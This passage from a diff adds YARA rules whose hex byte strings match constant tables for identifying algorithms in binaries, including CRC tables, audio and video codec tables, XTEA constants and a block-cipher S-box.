3F538EECAF31EE895F099FB14F15AE139F9EEF278F5D2E756F80EF0DAF96FDD6FF7DCFA89FB31E40FF5D6FA98FCCFE097F5F5FE69F51FE3B2F747F9D60104E358F0D5F023FAC2E23DF0BCF6DA017EDE14F174F982FD29E156F496F916F287E592F80EFAF3F83CE511F7BCFC38F160E420EBE5F5C6F507DFE0F174F629F9CBE5C9F542F433FF25E085F99AFBB2F399DDFAED19F085F3B9DB6DEC9BF347FC16E82DF929F3ABFE75E6CBF370EE0BFE1DE139EA9BFCB9F5B2E3DEF03AFDF2F4D8E0AAFB34F88AF992DC63FA8FF9D2F619DC79F57BFD84F5D3DC8CF5ECF267F629DF79ED05F68A0053DF50F7AFF6ECF783DE96EE2DF0FEF829D722EF5BF872F7DCDA0BF38DF70AF898DA67F0CFF434F368D97FECA5EF71F778D9E8F6D1F71BF3C7E3CDFAEAF5B1F9BDE2CBEEF8F17AFDD1E9D0F80FF6EAF3FAD832EA54EDDDF1EFDB29EFE7FC91F651DF53EAB6F81CFA61E76FEBC6F9BBF0FBDF81F0E6FD51F518E03DFBF9F1E8F095D6F2F600FB51F7DED4F9F1C8F544F41FDDC6EC62EB91FB76D857F565EDD8ED05E106EBABF894F1F0DAA7F224ED34F176E211ED9BFB64FA3DDC8FE9B5F8E9F45CDE66F6C5F58DF146D911EA12F209F102DF7CFC13F7ADF34AD7A5E997F60AF484DFD6F2E6F2DFEE81E034F861EE52EE3FE5E9F59AF714EFAAFB9EFA16E6E5FF2C0036F984EAD0FA8400FEF526EB9A034EFEF5F983E64F032EFECFF81BE98105CCF901F672E52DFFAAF48FF3AAE635F8F9FA91F38BEA4BFBE3F9BEFC8CE591FB43FE97FEC2E7B5FFD4F012F5B5EA6DFE4FFC4401DEEEE205BEF31CF662E87BF55F02C4F67EEC23FDE4F67DF1E9E9F1F7C2FE15FB92EDB7F4BA0057F295EDDFFB56FDB6F491ED50016EFA8EF6EAE87B015E0061F629EDBAF7B8F9F5F88DEC33F44F010CF174ED91007FFCC5FB5AE8E80478F089F6EEE50EF84AF558F74CE6E6FDCEFE38FD66E967F9B70213FBB8E99DFD70F20FFD50F0B5006EED70F943EED7FE87F376F30DE4D0FCB8FD50F2A8EC9504C5F8D7004DE6A5F67EFF11FF01E53EFC8AF7C0FA2EE76DF57FF9F8EE1DEBB2FB13F52DF052EA7002ABF99DF4F3EA7804BEFC42F5EAED290938F7E3EE2AEDDE016DF3D8EF8AE8B8FCC9F65DF632ED0605BBF9E7F2B9E94200D3FCF9FBC7EEB80A4CFB110019E716FA90F26CFE92EAD7FA8FF398FA3CEFCB05BAF6510206EEA0FEFFF450009EEDCCFB01FAD8F0E0EE81047BFA3DFEC8EB3A021BF239F971E91CF96FF2BBF292EA27074AF007F679ED6504FBFD14EE5FEDB1FFD0F78AEE4DEDADF4D8F6AFFCABE86DFD8DFB56F005EE88F855FD56F35EF00CF427F349EC69EB30FFF4F6F7F294EE07FF65F518FBF2E4DDF81DFB24FA0AE975F8A6EDB9F16DEA7E011BF40AFFBEF21AFD0AECE1FB5D128F0E90E250F5400CF81205E9B9F4610F680A63EC94FB17FF0A0B88EF83F64906A610C7F4ACFA07099A1347EC3B019709700FD2E4EDF26A0AC908A5E86BF0AF0C78074AE81FFCD509670EC6E90AF94C04B70D96E8BFF4DB089F0A98E569F3690ABD0E0BF338F3AB056D0ECCEB08F89007BC13D5E3BDFA8A0C0311C4ED63F2610AC30AECE216EEAD0A860A16E4ABEF4601C80EF8EA45F3D5FFC10E81EF6CEF8405AA0ACFF127F76E00BE10CFEAAEEFE907A608E2E37CF2730DBA0C79EE0EF7ED03071290F2C3F98A05B81524ED13F26503C40D6DE889F4FE06821233DDFBEC7106DD0CD7E937EEDB04010C63E964F90C0F680E4DEEB2FC6807921291E466F8BF11EF11BAF223FDFF059314C5E2A3FB3C0B430BE9E24BF58107520AAFDDF2F03D0A740E92E0CAF0BD04A10A2FE856F9300D151425E8BE02350C590CB2E6B2FD9C078A08DFE679FA5BFFFE0652DCFDEFC904A80FCCE3C5F20E0640108AEDBE004F02530BC7F07A01AE0AA71411EB4D00090E8212ABE585F575FFF80984E498FB87050D0906E4D5F31005FE0709F04702E4073A0FD6DA8BF27C103A1496EECCFB6310CA1435E344EE19FFEE0A54E68CFB2D1157185AF283FED310F81170EDDD05FA0CF310F4EE21F6030EAA0E62F1C5F25308030BB5EADCF65508FD062BE92A01030550092CEB76FAB2041A0346EA5AFF2518E91676E9AFF478039A0383F7FFFB9114560409F963F8A212E3FF96F6D8F2501088FFF3F655F6E213B30466FCEDF60B0F28085AF3A9F6DB12DE0B47F90CFC0F1860080DEF19F2DD0B020376F2D0F549100800CFF34EEDE00A9E05DAFE82FBCD111E0D84F690EFB80DCA0330F924F56C12FD026EF8A9F7CF14240B49F640F68E0E8A0A6FF563F34C0D0D0798F021F0050CEA010BF223F1200EA3034AF5B5022216A20766F8BFFB9F111F0F7CF74EF78A0DA10E5EF25CFD6C14CB0427F427F3C6111E0724F571FD8F18E10B23F988F4E611E8FDF0ED53F5C211260831FE63F80313D90BDBF11EF59A11B40447F3B8F8BE145F0758F216F8FD1340029EED40FA1B14450743FBC3F10810490384F84FF33A0B290B3EEF55EFD40C68070DEBE7F1710DC40490FABEF8AC157D06D4EC7AF47F0E730152F27EF3E80D4EFD85F929F3770DB4018BF63500AA176302C1F154FBD0160F0DD0F4CAFA6113A20C8CF0B7F3670E550860F16500E2167302FCF7FCFCCC14920C15F372F11409690957EED2F5E40DADFF26EE7CF91D1054FF3AF2D8FA0B110AFF7AF69900E013290DCDFAA7F487127806FCED10F955103F0353F282F92B10B90C9EF83AF0F30D9F06C7F3D3005C180B0FEBF58CF6580FEEFDB3F9F5F8240A42072BEF4DFDB412D802D5FDA7F7370E980DDCF024FFC314D50C19EF31000719970BEEEC75FBFB169A0CF7F506FD28151000C7FB30 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x233__16_big_refl_True_
+{
+strings:
+	$a0 = { 0000cdd80331cee90662cbba0553c88b0cc4c11c0ff5c22d0aa6c77e0997c44f1988d4501ab9d7611fead2321cdbd103154cd894167ddba5132edef6101fddc73310fec83021fdf93572f8aa3643fb9b3fd4f20c3ce5f13d39b6f46e3a87f75f2a98e74029a9e4712cfae1222fcbe213265ceb84256de8b5203eede6230feed76620abf86511a8c96042ad9a6373aeab6ae4a73c69d5a40d6c86a15e6fb7a26f7fa8b2707c99b14179cab4127afbb723736cbeb4705dbd85750eb8d6763fbbe7553098e856019bd953529e8a50639dbb59f4942c5ac5971d5f96924e5ca7917f4cb881604f8982514ada870249eb8433407c8da4434d8e95461e8bc6452f88f7cc400198cf7102a9ca2207fac91304cbc0840d5cc3b50e6dc6e60b3ec5d7080fd5c81810d6f91b21d3aa1e72d09b1d43d90c14d4da3d17e5df6e12b6dc5f1187ff503288fc6131b9f93234eafa0337dbf3943e4cf0a53d7df5f6382ef6c73b1fe6d82b00e5e92831e0ba2d62e38b2e53ea1c27c4e92d24f5ec7e21a6ef4f2297aa6067b8a9516489ac0261daaf3362eba6a46b7ca595684da0c66d1ea3f76e2fb3e87e30b0d97d01b58a7852b6bb7b63bf2c72f4bc1d71c5b94e7496ba7f77a7997054a89a4157999f1252ca9c2351fb95b4586c96855b5d93d65e0e90e75d3f80f84d2083c94e11869a4b4285ab48738c3c41e48f0d42d58a5e4786896f44b7 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h264_cabac_context_init_PB__8_byt_2760_
+{
+strings:
+	$a0 = { 14F10236034A14F10236034AE47FE968FA35FF36073317211702150001090031DB760539F34EF541013E0C31FC4911321240092B1D001A43105A0968D27FEC680143F34EF541013EFA56EF5FFA3D092DFD45FA51F56006370743FB560258003AFD4CF65E05360445FD510058F943FB4AFC4AFB50F948013A0029003F003F003FF75304560061F9480D29033E002DFC4EFD60E57EE462E765E943E452EC5EF053EA6EEB5BEE66F35DE37FF95CFB59F960F36CFD2EFF41FF39F75DFD4AF75CF857E97E0536063C063B0645FF300044FC45F858FE55FA4EFF4BF94D02360532FD440132062AFC51013FFC4600430239FE4C0B230440013D0B2312190C180D1D0D24F65DF949FE490D2E0931F964093502350535FE3D00380038F33FFB3CFF3E0439FA4504390E2704330D440340013D093F07321027052C04340B30FB3CFF3B003B1621052C0E2BFF4E003C09450B1C0228032C0031002E022C0233002F0427023E062E00360336023A043F063306390735063406370B2D0E240835FF520737FD4E0F2E161FFF5419071EF91C031C04200022FF1E061E0620091F131A1B1A1E25141C2211460143053B0943101E12201223161D181F1726122B14290B3F093B0940FF5EFE59F76CFA4CFE2C002D0034FD40FE3BFC46FC4BF852EF66F74D0318002A00300037FA3BF947F453F557E277013AFD1DFF240126022BFA37003A0040FD4AF65A0046FC1D051F072A013BFE3AFD48FD51F561003A08050A0E0E120D1B0228003AFD46FA4FF8550000F36AF06AF657EB72EE6EF262EA6EEB6AEE67EB6BE96CE670F660F45FFB5BF75DEA5EFB560943FC50F655FF46073C093A053D0C320F32123111360A29072EFF33073108340929062F02370D290A2C063205350D31043F0640FE45FE3B06460A2C091F0C2B03350E220A26FD340D281120072C07260D320A391A2B0E0B0B0E090B120B150917FE20F120F122EB27E92ADF29E12EE426F4151D2DE835D330E641D52BED27F61E09121A141B0039F252FB4BED61DD7D1B001C001FFC1B0622081E0A1816211316201A1F15291A2C172F10410E47083C063F1141151817141A171B201C171C18172818201C1D172A13391635163D0B560C280B330E3BFC4FF947FB45F746F842F644ED49F445F046F143EC3EED46F042EA41EC3F09FE1AF721F727F929FE2D0331092D1B243BFA42F923F92AF82DFB30F438FA3CFB3EF842F84CFB55FA51F64DF951EF50EE49FC4AF653F747F743FF3DF842F242003B023B15F321F227F92EFE33023C063D1137222A3E14F10236034A14F10236034AE47FE968FA35FF360733161922001000FE090429E3760241FA47F34F05340932FD460A361A2213162800390229241A45D37FF165FC4CFA47F34F05340645F35A0034082BFE45FB52F660023B024BFD57FD640138FD4AFA55003BFD51F956FB5FFF42FF4D0146FE56FB48003D0029003F003F003FF75304560061F9480D29033E0D0F07330250D97FEE5BEF60E651DD62E866E961E577E863EB6EEE66DC7F0050FB59F95EFC5C00270041F154DD7FFE49F468F75BE17F033707380737083DFD350044F94AF758F367F35BF759F25CF84CF457E96EE869F64EEC70EF63B27FBA7FCE7FD27FFC42FB4EFC47F848023BFF37F946FA4BF859DE77FD4B20141E16D47F0036FB3D003AFF3CFD3DF843E754F24AFB4105340239003DF745F5461237FC47003A073D092912190920052B092F002C0033022E1326FC420F260C2A09220059042D0A1C0A1F21F534D5120F1C0023EA26E7220027EE20F466A2000038F121FC1D0A25FB33E327F734DE45C643C12CFB200737E3200100001B2421E722E224E426E426E522EE23F022F220F825FA23001E0A1C121A191D29004B0248084D0E23121F1123151E112D142A122D1B1A1036074210380B490A43F674E970F147F93D0035FB42F54DF750F754F657DE7FEB65FD27FB35F93DF54BF14DEF5BE76BE76FE47AF54CF62CF634F639F73AF048F945FC45FB4AF7560242F72201200B1F0534FE37FE430049F859033407040A08110810130325FF3DFB49FF46FC4E0000EB7EE97CEC6EE67EE77CEF69E579E575EF66E675E574DF7AF65FF264F85FEF6FE472FA59FE50FC52F755F851FF48054001430938004501450745F945FA43F04DFE40023DFA43FD400239FD41FD42003E0933FF42FE47FE4BFF46F7480E3C1025002F12230B250C290A2902300C290D29003B033213280342123213FA12FA0E001AF41FF021E721EA25E427E22AE22FD62DDC31DE29EF200945B93FC142C04DB636D934DD29F6240028FF1E0E1C1A17250C370B4125DF27DC28DB26E22EDF2AE228E831E326F428F626FD2EFB1F141D1E192C0C300B311A2D161617161B1521141A1C1E181B22122A192712320C4615360E470B53192015311536FB55FA51F64DF951EF50EE49FC4AF653F747F743FF3DF842F242003B023B11F620F32AF731FB35004003440A421B2F39FB470018FF24FE2AFE34F739FA3FFC41FC43F952FD51FD4CF948FA4EF448F244FD46FA4CFB42FB3E0039FC3DF73C0136023A11F620F32AF731FB35004003440A421B2F3914F10236034A14F10236034AE47FE968FA35FF3607331D1019000E00F633FD3EE5631A10FC55E86605390639EF490E391428140A1D003600252A0C61E07FEA75FE4AFC55E8660539FA5DF258FA2C0437F559F167EB741339143A04540660013FFB55F36A053F064BFD5AFF650337FC4FFE4BF461F932013C0029003F003F003FF75304560061F9480D29033E0722F758EC7FDC7FEF5BF25FE754E756F459EF5BE17FF24CEE67F35ADB7F0B50054C0254054EFA37043DF253DB7FFB4FF568F55BE27F0041FE4F0048FC5CFA380344F847F362FC56F458FB52FD48FC43F848F059F745FF3B05420439FC47FE47023AFF4AFC2CFF45003EF933FC2FFA2AFD29FA35084CF74EF55309340043FB5A0143F148FB4BF850EB53EB40F31FE740E35E094B113FF84AFB23FE1B0D5B0341F945084DF642033EFD44EC51001E0107FD17EB4A1042E97C11252CEE32DEEA7F0427002A07220B1D081F0625072A032808210D2B0D24042F0337023A063C082C0B2C0E2A0730043804340D250931133A0A300C2D00451421083F23EE21E71CFD180A1B0022F234D427E813111F19241D1821220F1E1416491422131F1B2C13100F240F24151C19151E141F0C1B10182A005D0E380F391A26E87FE873EA52F73E0035003BF255F359F35EF55CE37FEB64F239F443F547F64DEB55F058E968F162DB7FF652F830F83DF842F946F24BF64FF753F45CEE6CFC4FEA45F04BFE3A013AF34EF753FC51F363F351FA26F33EFA3AFE3BF049F64CF356F753F6570000EA7FE77FE778E57FED72E975E776E675E871E476E178DB7CF65EF166F663F36ACE7FFB5C1139FB56F35EF45BFE4D0047FF490440F95105400F3901430044F6430144004D02400044FB4E0737053B02410E360F2C053C0246FE4CEE560C460540F4460B37053800450241FA4A05360736FA4CF552FE4DFE4D192A11F310F711F41BEB25E229D82AD730D127E02ED834CD2ED734D92BED200B3DC938D23ECE51BD2DEC23FE1C0F220127011E111426122D0F36004F24F025F225EF2001220F1D0F181922161F1023121F1C2129241C1B2F153E121F131A241818171B10181E1F1D1629162A103C0F340E3C034EF07B15351638193D15211332113DFD4EF84AF748F648EE4BF447F53FFB46EF4BF248F043F835F23BF734F54409FE1EF61FFC21FF21071F0C25171F261440F747F925F82CF531F638F43BF83FF743FA44F64FFD4EF84AF748F648EE4BF447F53FFB46EF4BF248F043F835F23BF734F54409FE1EF61FFC21FF21071F0C25171F261440 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_codetable__16_lil_1280_
+{
+strings:
+	$a0 = { 9C027AF41AFB02F907F658EC1FEEEBFB5C0BF60CFDF48BF54CFCF7F49EEEE9E5ACFECA0504FBEE04CEFD9BE50105B30006FB30F626E4C3EC011B6B0952F664FF4B12DFF00000F0DF5C0822FE1FF515026107C70A6505D5E4E7E8DA1364F66EE90507380260F713F355EEA4E7AFE261F5061154F483FB680AEB04E303970A60F66AD7BA066FE24AF57B08E7F60804EB02A6FCF6E0D5CD220CF8129FEF13F60B04460740FC1CE69A01FA1643F6BCF560F0C4FF221C90F5A605000609F1D1044AEB001B3506A5EF510E80F216E0E3E168055A12A5EDBFE758D4A81FBE41A2035C1BF504EFDC070A29121C2E710DE7E9AF04EE0949FF65DDD8E09E0CC8F425F80FDA3FDFB7320E0C5C08A0F155DAB0F447E2731915F726F6BC18FBF20CEA56DC85D4A71569FEBFE5C6BBB7F4302D6C0E8C1AFAFEA2D5C0F86B1C5C3453F49DD64813F40055F7600AC00EDCEA35F0D2E853085F03CEF41AF3CF062AF880FFFCF727E70E0DD1F9EBFF760403F1D9F8FD18F109E0F48CDB80E6BD14C2073BF776EEEC028F072DF413FED9DBF614790C73EEF806B0128EFE4A0721049FF8AE1C7EF5EFF5A4029DFD0AFEBB08C6F80FF9FFF7F303280F5FF6A10868FF200A0D0BD415170B76E317F4CAEC4317F123A1EEB902440FA6169DEEDCEDB7F74415F6F541014EFB1E0BDAF7CC0D36023CFD49EFB6037413A50EC4014CF6AE0DB70656FFEE0095F2070142082BF8390956E348FB832440FB53F046CB49FE5C1F78EF69016FF13915D40789ED15FB6EF03F1EED2095F125FC4E1459FE7E04FFFA3003F11C0D1093F0820A1E00DE04EF0BDDFFA6FA0AFF2FFA03165AFDBDF5620CDE1217EED807DAFB1F037FFFCD02F211593AD229A101C70A3A073FEC7FFBD1F0C11C78E9BD109A02A30556FC1400B9F75FF980F1B6F25CF76E00580878F40C00E0F954F2C1F8DDFA3DF98804D2FDAD06580027EEC2003AFE73F4E9F47EF9EFFE240865FF43FFB8F67F06F0FB6FF6E6F4A7FA7C0208FF8BF5ED054F003BF4ABF133FC790743F640EB13FDF704A9F404F354F196F1DBF89FF4F5F938F582FA64043407D6F8C801C20250EFD30160EF8BF8F1056E0481FF1EFC83FD2DFAA2E6690303F80CF118F5BEFD0709E7F8480A14F4B0078102AA0465070B10C618D3FFAE04700857FA9B082CF8B106BE0D5C0A9B10780B80F0000583003CFA0B0B080078F8620AB90D7F0CD0FC7F0A33F981FA840BBD0F8A0103FF1205BE10330065EEE0FF6DFD3F0F0E162CEAE0F54B16A2FDD204B9F9BDEB9802F3FD240E70F721F6AB06C9104DF315F72C0328F78516100229F348058806AF0AD904B1FB37F3B1F2C10F70066BF46AFBA4054A009603CF079303FEFB40F6BBF9F207860BE50088F7F5070F0010FB30FF20F2FA054502D305C203CBF5DEF6250E30FA77F72DF95100A21598052FF705FC6303D60014F71AFA6CF9000B1BFFF70993FA930AF801DF01DF0A0FFCD50931FAC4F96D0289076CFF9E0840EF0C0587FAF1FDDB0455F575070005650823FA680E620211EEEA0CD7F25307340E3FFB0E0AD109A905FEF38DEC2E0322073FF68A1013F0800624FF5A0DEA035B040D037A064F0FF217440C7C04E10FEC052F03C700A704B909010A75098B090203E5E88B1590FE81F3A60417049E0E0F1BD7F724011B0CD4100AFD69F60B02510FCC0F6A0555000F11EE031CFB46FA99FA0C0F2B06B3FF10086403F513670B36FF670103FE420E860CFF089D061005590BBDF0E50054FBE4F65917FFF12503F10EBEF3A20EA2FD3500F3FE1BF35E02E207DCFAE00F8E01 }
+
+condition:
+	$a0
+}
+
+	
+rule XTEA__DELTAS__32_big_256_
+{
+strings:
+	$a0 = { 000000009e3779b99e3779b93c6ef3723c6ef372daa66d2bdaa66d2b78dde6e478dde6e41715609d1715609db54cda56b54cda565384540f5384540ff1bbcdc8f1bbcdc88ff347818ff347812e2ac13a2e2ac13acc623af3cc623af36a99b4ac6a99b4ac08d12e6508d12e65a708a81ea708a81e454021d7454021d7e3779b90e3779b9081af154981af15491fe68f021fe68f02be1e08bbbe1e08bb5c5582745c558274fa8cfc2dfa8cfc2d98c475e698c475e636fbef9f36fbef9fd5336958d5336958736ae311736ae31111a25cca11a25ccaafd9d683afd9d6834e11503c4e11503cec48c9f5ec48c9f58a8043ae8a8043ae28b7bd6728b7bd67c6ef3720 }
+
+condition:
+	$a0
+}
+
+	
+rule Inverse_Modified_DCT_pm64__liba52___32_lil_256_
+{
+strings:
+	$a0 = { 0000000008000000100000001800000020000000280000003000000038000000040000001400000024000000340000000c0000001c0000002c0000003c000000020000000a000000120000001a000000220000002a000000320000003a000000060000000e000000160000001e000000260000002e000000360000003e0000000100000009000000110000001900000021000000290000003100000039000000050000001500000025000000350000000d0000001d0000002d0000003d000000030000000b000000130000001b000000230000002b000000330000003b000000070000001700000027000000370000000f0000001f0000002f0000003f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_neg__flt64___64_big_320_
+{
+strings:
+	$a0 = { 3ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003fec851bfe6347ce3fec851bfe6347ce3fe96b1a95ad7bcf3fe96b1a95ad7bcf3fe96b1a95ad7bcf3fe96b1a95ad7bcf3fe96b1a95ad7bcf3fe430c05c7c01d93fe1fea4b62d4e173fe1fea4b62d4e173fe6a772d5e071c53fe430c05c7c01d93fe009aa029d69323fd6b521b55c6dbf3fd43cf264360a7e3fe430c05c7c01d93fe009aa029d69323fd6b521b55c6dbf3fcca79ae41c74ab3fc6c3405c10a20f3fe1fea4807d68e13fd97a75112414b23fcca79ae41c74ab3fc01d58d65aeb083fb6d100383423f43fe009aa029d69323fd209833680c58d3fc214baa227dd953fb21fa5b7b50d933fa462116d0fcdd33fd97a75112414b23fc98a4cf57c187f3fb6d101e5b34da03fa462116d0fcdd33f9235935fc3b4f6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x82F63B78__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000754d5f0aea9abe149fd7e11e57ebc51422a69a1ebd717b00c83c240a2d08331458456c1ec7928d00b2dfd20a7ae3f6000faea90a90794814e534171ed9cede15ac83811f3354600146193f0b8e251b01fb68440b64bfa51511f2fa1ff4c6ed01818bb20b1e5c53156b110c1fa32d2815d660771f49b796013cfac90b31430516440e5a1cdbd9bb02ae94e40866a8c00213e59f088c327e16f97f211c1c4b360269066908f6d18816839cd71c4ba0f3163eedac1ca13a4d02d4771208e88ddb039dc0840902176517775a3a1dbf661e17ca2b411d55fca00320b1ff09c585e817b0c8b71d2f1f56035a520909926e2d03e723720978f493170db9cc1de158b2119415ed1b0bc20c057e8f530fb6b37705c3fe280f5c29c9112964961bcc508105b91dde0f26ca3f115387601b9bbb4411eef61b1b7121fa05046ca50f38966c044ddb330ed20cd210a7418d1a6f7da9101a30f61a85e71704f0aa480e159e5f1060d3001aff04e1048a49be0e42759a043738c50ea8ef2410dda27b1ad01bb707a556e80d3a8109134fcc561987f07213f2bd2d196d6acc071827930dfd138413885edb1917893a0762c4650daaf84107dfb51e0d4062ff13352fa01909d569127c983618e34fd7069602880c5e3eac062b73f30cb4a41212c1e94d1824dd5a065190050cce47e412bb0abb1873369f12067bc01899ac2106ece17e0c416fdc1e34228314abf5620adeb83d001684190a63c94600fc1ea71e8953f8146c67ef0a192ab00086fd511ef3b00e143b8c2a1e4ec17514d116940aa45bcb0098a1020bedec5d01723bbc1f0776e315cf4ac71fba07981525d0790b509d2601b5a9311fc0e46e155f338f0b2a7ed001e242f40b970fab0108d84a1f7d951515702cd908056186029ab6671ceffb381627c71c1c528a4316cd5da208b810fd025d24ea1c2869b516b7be5408c2f30b020acf2f087f827002e055911c9518ce16a9e2071ddcaf58174378b9093635e603fe09c2098b449d0314937c1d61de231784ea3409f1a76b036e708a1d1b3dd517d301f11da64cae17399b4f094cd61003a0376e0fd57a31054aadd01b3fe08f11f7dcab1b8291f4111d46150f680b4a058d3f5d1bf872021167a5e30f12e8bc05dad4980faf99c705304e261b4503791179f9b01a0cb4ef1093630e0ee62e51042e12750e5b5f2a04c488cb1ab1c5941054f1830e21bcdc04be6b3d1acb266210031a461a76571910e980f80e9ccda70491746b19e43934137beed50d0ea38a07c69fae0db3d2f1072c05101959484f13bc7c580dc931070756e6e61923abb913eb979d199edac213010d230d74407c0748bab50c3df7ea06a2200b18d76d54121f5170186a1c2f12f5cbce0c8086910665b2861810ffd9128f28380cfa6567063259430c47141c06d8c3fd18ad8ea212 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_tnsMaxBands__combined___32_big_256_
+{
+strings:
+	$a0 = { 0000001f000000090000001c000000070000001f000000090000001c00000007000000220000000a0000001b00000007000000280000000e0000001a000000060000002a0000000e0000001a00000006000000330000000e0000001a000000060000002e0000000e0000001d000000070000002e0000000e0000001d000000070000002a0000000e00000017000000080000002a0000000e00000017000000080000002a0000000e0000001700000008000000270000000e000000130000000700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis___Khazad_sbox__8_byt_256_
+{
+strings:
+	$a0 = { a7d3e671d0ac4d793ac991fc1e4754bd8ca57afb63b8ddd4e5b3c5bea9880ca239df29da2ba8cb4c4b22aa244170a6f95ae2b0367de433ff6020088b5eab7f787c2c57d2dc6d7e0d5394c32827065fad675c55480e52ea425b5d305851593c4e388a7214e7c6de508e92d17793459ace2d0362b6b9bf966b3f0712ae4034463edbcfecccc1a1c0d61df4613b10d868a0b10a696c49fa76c49e9b6e99c2b798bc8f851fb4f8112e00251c2a3d054f7bb23290af19a3f7739d1574eeca9f0f1b7586849c4a971a65f6ed09bb2683eb6f81046a430117e187f58de3238044166621fed531d935180264f2f156cd82c8baf0efe9e8fd89d7c7b5a42f95130bf3e037 }
+
+condition:
+	$a0
+}
+
+	
+rule All_Seeing_Eye__v__ping__aka_scanner__algorithm__32_big_2048_
+{
+strings:
+	$a0 = { 0109a70d30d621ac44d52cc716a343ab30c7cb6664e654006f0c2b78e6bea4d880167528002ce936e465518bf28d4c4b5866ff57d4b790293a71181852001968eda001ac42cba6600d5a63a5a82fb91bc4512debb636b73d3f30f44ea0d0279f16bee3839aa0557b375d38e52503300641760f0f56e43c267cb593069d30d5f4dc21629a4c2df2f785463b50edcc1cf276d228f73d7ca241d3a4f5f8273bebe3b3bffb5d48650da8d688c129f6942ade9536d9b6cf4e9e9573fb348ea29fd21e9f17c38f2fbca3aa188a3293da6bc5fed7d8506c238afe34695244b46a22fa7d1b9d85cd7b97397caec8cfdc22d77196348ef65b6b5e3dee75ddafba29321bb747032744c979bb4f6005b7708ec945ff1099655c3c0c778fd279366783edacb1db95fdd6364b5827bad1d7bc04b16c2135d035275404f4aebe1ee67963b8e5a78b32bc016c431003a2a94b894d69d098a9c0b4e02b7aa1c0616e30c581672bd1514e0b00cd4761118d379eb7dc356302ac4accccbbb46b73df128b4799507f6953e0747b675a160f19d31aafca3cf7be5a60c62f9ce8858d46f1ebc0583e8146933879fc06951ef02201d2fb1b01e8caffb898a911c214929bf7807ad242970de88746092e8f2c8464c277f23718f36e9abb9599be9e6856bdf5041bd6a2c6a25edc64eeb4482f09849bdd0cac45b3cce12ae2450bb0384ab65b2ffd3e49ddad9134caaee7f1baa643f6c5c32dec4eed12293d42cb5d822ee76a334ff33469d908d43a437c140a91566b4815b9c594834ba508d8b8724f019e1457054edb8d408e4899df131b720a4d6cdf73ec400f5072e98d2c9b80fbfcdab27ec98274d8a450fe699bf0625e9066e56107620edca9b153e43333e3d3ebc7944d16152adbc87ff3aa9ff739cfb5782fe1a8d03dc32d52906c1e84ef8cd277b7da12e075c44d8724c7a3e4ad86d711e1a008894659545c35ec7fdf169985078cc964709a42d0654c4aa7ebb61862d1185e76d8c1cb3c2f64590ee24fda248a44bfea5e68f8761ea2003990e1323a82e842cfc58b7e38f3fdd36e8509bc5d329897bd5c412db220a3f2ed09fcfdf1f6ba9adabff80ee4d8dfe99c97aa7625cd636db91dc61fa0f7e71e8079bf40b6b5fa07d2246a0c6cee9f206aba59791caf4da18c9e12ae35bc9a4f4c0f27ad657a19cd94adaf7c93e36931a26e089de7faffa559b0e265e65f438e100d21281f746824e31eee0bd431c54c2b453fd6322dc65b036893a99ecf220313fad2537af43b1d62f99dfca586aa8a9565d836e81759566d4aa6bd1daba79dca6db91d07881adb8712f79533a87d5fb87fda87e268e49ca05b921ad300e2b8f4a74af130237e3e262c53ea719c3a10ef75774b173d754eec0aa541ba2e9c3f17351a29679804dc0b5ade098204eb8f907ae5b2d6c5bd260a01e02520b03ffe7769dce41a7def158ab1026a86f1477ae8945c33576e7860d7a1c73a6a3e82b2b1a3d99a376dcfde3a2887354c6b8622d53f85b679d4b672f192f6affda7b0494147284972898bbd4a8d17442c26737cb5c0d3ab786c5823e161ff73582bc3f0f0a531cef6920d76c1fb2b262f2120b137eabd5b53ad6121a48ad1518ae213d1811a263fb4fc859bde4b8e05ec5bf4c4f5778375151d06c238fda7474962cc39c607888b5fdd2bc87ce8acee0555896eb08c576075f983ac3cc729928125eabe69101d8f5b4f1c0e82de7e66c157eea27d502e0194e6679fbf71cfccc4a5d68365c2a85dc2bf92b5868f448a48c370bad980bbff4ede26d658f5734a64a6d9ce114f336261effc913218119fb00e576f34594d3ebc7ede375f51fdb8dc9d7c1914bd37075249acf7ffa9fbd4c60f40bb2d7e86de8e48f83cc243547d0809b929208707e17f2cb3a6e22060e3cff0daf130e5e95659f8416b51ff8113b84e029661cc15f618c945ead1afc802190a74d4225dc004b9c184112146c3f0e9815c5af6a684ca5ac262e59e0eeb9caf966fa3921c5fc06faaaea93f956cbe9971555cf98b38e69c79332e52600bc94367caee3edb9017e5d5cb0d02c67d7431244b056f41968422a11d1fab0c76a82aa4256768dda95abf4a2d7196ab6e9366eacd09cb38d5e010b8ade09d741f1197cb772a532166919ab7930236c4faa77728f281a1c39806cb1a1b0c1c96f4d7140b8f0691d720c77e838d9498aa0d46239754a4a6ee8cc84770f9ae2ef8064db32a81735e191031fae0b489be7d785c6d9400a85ab264670bb4c44374b555f5ddc0d78454765812d58f4f53c8ef4ca587b27f55d43aae3bdb3ca17b84267bd1ef3b31b624fe7f98fb3696c03b98f570c915e68255c1ea5f89f2b168aa880a64425942f8e766cd7bdfca2cb9f36f7022e014abfc1dc851c1f9061f7088e399503f0ca67fd332abb00c4049144bae529680296dd825fc91cd5e02db921ae90f48eaccece7d002f37a63633e25dd72e7bfe105230a71d19c24131f1558e4a4a4785142a878fe7389e2f3ecc986855305803efdcef9239f24a06b130f1b31cec41528eb07efdb40b3c20e270a40fa3b1c6fbbfb5e176331ca8ec3e93952cef11e6dcef50b16ad3963ed74d9f04172e1192eda4c3d134086dfe712bb56ed1908f0ef55e57b54c4575b8345fe27fa7e05f26e9b7bbc45045fd400f5c897ad49931308046a0ef3b2bc8220391c726660b371eca3d03cd51f14a1d93bb911872ad9feaacd8c8088b344ce0388455f47975556572b5d506ae6036ff944999112462a6d888c907ad08db7b29bc703edab7549f93416332eb035d523df70a0af1cbb179bb1f838288ce9f4b5b58ba3e3b33dd33a89a154105d4d91ddb45cc69e7d5678ba23bd39c1906b1f61529dce08e848342537c5 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_quantizer1__flt64___64_big_256_
+{
+strings:
